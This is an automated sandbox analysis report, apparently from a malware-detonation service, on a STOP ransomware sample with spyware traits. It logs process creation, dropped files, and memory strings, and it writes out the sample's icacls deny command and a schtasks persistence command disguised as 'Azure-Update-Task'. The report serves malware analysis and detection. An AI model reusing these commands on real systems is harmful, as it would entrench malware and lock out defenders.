Source: Process Memory Space: Z4CYGTBlj7.exe PID: 2724, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: Z4CYGTBlj7.exe PID: 4408, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: Z4CYGTBlj7.exe PID: 320, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: Z4CYGTBlj7.exe PID: 5680, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: Z4CYGTBlj7.exe PID: 3160, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.rans.spre.troj.spyw.evad.winEXE@45/1420@10/5

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe

Code function: 1_2_00411900 GetLastError,FormatMessageW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,lstrcpyW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,_memset,lstrcpynW,MessageBoxW,LocalFree,LocalFree,LocalFree,

1_2_00411900

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe

Code function: 0_2_044987C6 CreateToolhelp32Snapshot,Module32First,

0_2_044987C6

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe

Code function: 1_2_0040D240 CoInitialize,CoInitializeSecurity,CoCreateInstance,VariantInit,VariantInit,VariantInit,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,CoUninitialize,CoUninitialize,CoUninitialize,__time64,__localtime64,_wcsftime,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,swprintf,CoUninitialize,CoUninitialize,

1_2_0040D240

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe

File created: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6020:120:WilError_03
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Mutant created: \Sessions\1\BaseNamedObjects\{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Mutant created: \Sessions\1\BaseNamedObjects\M5/610HP/STAGE2
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6208:120:WilError_03

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Command line argument: --Admin	1_2_00419F90
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Command line argument: IsAutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Command line argument: IsTask	1_2_00419F90
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Command line argument: --ForNetRes	1_2_00419F90
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Command line argument: IsAutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Command line argument: IsTask	1_2_00419F90
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Command line argument: --Task	1_2_00419F90
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Command line argument: --AutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Command line argument: --Service	1_2_00419F90
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Command line argument: X1P	1_2_00419F90
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Command line argument: --Admin	1_2_00419F90
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Command line argument: runas	1_2_00419F90
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Command line argument: x2Q	1_2_00419F90
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Command line argument: x*P	1_2_00419F90
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Command line argument: C:\Windows\	1_2_00419F90
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Command line argument: D:\Windows\	1_2_00419F90
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Command line argument: 7P	1_2_00419F90
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Command line argument: %username%	1_2_00419F90
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Command line argument: F:\	1_2_00419F90
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Command line argument: --Admin	5_2_00419F90
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Command line argument: IsAutoStart	5_2_00419F90
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Command line argument: IsTask	5_2_00419F90
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Command line argument: --ForNetRes	5_2_00419F90
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Command line argument: IsAutoStart	5_2_00419F90
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Command line argument: IsTask	5_2_00419F90
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Command line argument: --Task	5_2_00419F90
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Command line argument: --AutoStart	5_2_00419F90
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Command line argument: --Service	5_2_00419F90
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Command line argument: X1P	5_2_00419F90
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Command line argument: --Admin	5_2_00419F90
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Command line argument: runas	5_2_00419F90
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Command line argument: x2Q	5_2_00419F90
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Command line argument: x*P	5_2_00419F90
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Command line argument: C:\Windows\	5_2_00419F90
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Command line argument: D:\Windows\	5_2_00419F90
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Command line argument: 7P	5_2_00419F90
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Command line argument: %username%	5_2_00419F90
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Command line argument: F:\	5_2_00419F90

Source: Z4CYGTBlj7.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: build2.exe, 00000009.00000002.2287246670.000000001E8A8000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2287828276.0000000020E29000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: build2.exe, 00000009.00000002.2287246670.000000001E8A8000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2287828276.0000000020E29000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: build2.exe, 00000009.00000002.2287246670.000000001E8A8000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2287828276.0000000020E29000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: build2.exe, 00000009.00000002.2287246670.000000001E8A8000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2287828276.0000000020E29000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: build2.exe, 00000009.00000002.2287246670.000000001E8A8000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2287828276.0000000020E29000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: build2.exe, 00000009.00000002.2287246670.000000001E8A8000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2287828276.0000000020E29000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: build2.exe, 00000009.00000002.2287246670.000000001E8A8000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2287828276.0000000020E29000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: build2.exe, 00000009.00000002.2287246670.000000001E8A8000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2287828276.0000000020E29000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: build2.exe, 00000009.00000002.2287246670.000000001E8A8000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2287828276.0000000020E29000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: build2.exe, 00000009.00000002.2285261138.000000000082C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: build2.exe, 00000009.00000002.2287246670.000000001E8A8000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2287828276.0000000020E29000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: build2.exe, 00000009.00000002.2287246670.000000001E8A8000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2287828276.0000000020E29000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: Z4CYGTBlj7.exe	ReversingLabs: Detection: 39%
Source: Z4CYGTBlj7.exe	Virustotal: Detection: 38%

Source: Z4CYGTBlj7.exe	String found in binary or memory: set-addPolicy
Source: Z4CYGTBlj7.exe	String found in binary or memory: id-cmc-addExtensions
Source: Z4CYGTBlj7.exe	String found in binary or memory: set-addPolicy
Source: Z4CYGTBlj7.exe	String found in binary or memory: id-cmc-addExtensions
Source: Z4CYGTBlj7.exe	String found in binary or memory: set-addPolicy
Source: Z4CYGTBlj7.exe	String found in binary or memory: id-cmc-addExtensions
Source: Z4CYGTBlj7.exe	String found in binary or memory: id-cmc-addExtensions

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe

File read: C:\Users\user\Desktop\Z4CYGTBlj7.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Z4CYGTBlj7.exe "C:\Users\user\Desktop\Z4CYGTBlj7.exe"
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Process created: C:\Users\user\Desktop\Z4CYGTBlj7.exe "C:\Users\user\Desktop\Z4CYGTBlj7.exe"
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Process created: C:\Users\user\Desktop\Z4CYGTBlj7.exe "C:\Users\user\Desktop\Z4CYGTBlj7.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Process created: C:\Users\user\Desktop\Z4CYGTBlj7.exe "C:\Users\user\Desktop\Z4CYGTBlj7.exe" --Admin IsNotAutoStart IsNotTask
Source: unknown	Process created: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe --Task
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Process created: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe --Task
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Process created: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe "C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe"
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Process created: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe "C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe"
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Process created: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build3.exe "C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build3.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe "C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe" --AutoStart
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Process created: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe "C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe" --AutoStart
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build3.exe	Process created: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build3.exe "C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build3.exe"
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build3.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe "C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe" --AutoStart
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Process created: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe "C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe" --AutoStart
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Process created: C:\Users\user\Desktop\Z4CYGTBlj7.exe "C:\Users\user\Desktop\Z4CYGTBlj7.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5" /deny *S-1-1-0:(OI)(CI)(DE,DC)	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Process created: C:\Users\user\Desktop\Z4CYGTBlj7.exe "C:\Users\user\Desktop\Z4CYGTBlj7.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Process created: C:\Users\user\Desktop\Z4CYGTBlj7.exe "C:\Users\user\Desktop\Z4CYGTBlj7.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Process created: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe "C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Process created: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build3.exe "C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Process created: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe --Task
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Process created: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe "C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe"
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build3.exe	Process created: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build3.exe "C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build3.exe"
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Process created: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe "C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe" --AutoStart
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build3.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Process created: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe "C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe" --AutoStart
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Section loaded: bcp47langs.dll	Jump to behavior
